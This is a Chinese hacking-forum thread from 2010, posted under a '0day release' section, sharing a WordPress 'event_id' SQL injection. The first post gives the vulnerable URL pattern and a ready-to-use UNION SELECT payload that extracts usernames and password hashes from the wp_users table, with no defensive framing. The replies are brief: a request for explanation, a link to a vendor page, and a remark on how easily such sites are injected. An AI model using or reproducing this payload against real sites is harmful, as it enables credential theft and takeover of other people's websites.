【3.A.S.T】网络安全爱好者 » 0day发布 » WordPress最新event_id注入漏洞

返回列表发帖

Administrators

Rank: 15

帖子: 3852
积分: 13044
威望: 16780
金钱: 36761
在线时间: 1139 小时

管理组高手勋章核心成员原创奖章帅哥勋章突出贡献奖优质人品奖章论坛元老管理组成员技术组成员

1楼 跳转到 » 倒序看帖

字体大小: tT

发表于 2010-2-7 10:58 | 只看该作者

WordPress最新event_id注入漏洞

WordPress, event, 漏洞

===[ Exploit ]===

www.WordPress.com/?event_id=[Sql]

www.WordPress.com/Path/?event_id=[Sql]

Exploit:

null+and+1=2+union+select 1,concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+wp_users

希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系，他人勿扰
于智者同行，你会不同凡响；与高人为伍，你会登上巅峰

[3.A.S.T]内部成员

Rank: 9 Rank: 9 Rank: 9

帖子: 16
积分: 534
威望: 1032
金钱: 978
在线时间: 5 小时

内部成员刻苦努力奖优质人品奖章

2楼

发表于 2010-2-7 14:31 | 只看该作者

1# 柔肠寸断

师傅能这个漏洞吗

3.A.S.T士兵

Rank: 1

帖子: 14
积分: 15
威望: 15
金钱: 14
在线时间: 0 小时

3楼

发表于 2010-2-8 10:57 | 只看该作者

http://www.venustech.com.cn/NewsInfo/124/5957.Html

[3.A.S.T]内部成员

Rank: 9 Rank: 9 Rank: 9

帖子: 253
积分: 742
威望: 1111
金钱: 841
在线时间: 30 小时

管理组成员

4楼

发表于 2010-2-14 13:21 | 只看该作者

这样的站点都能注入，汗！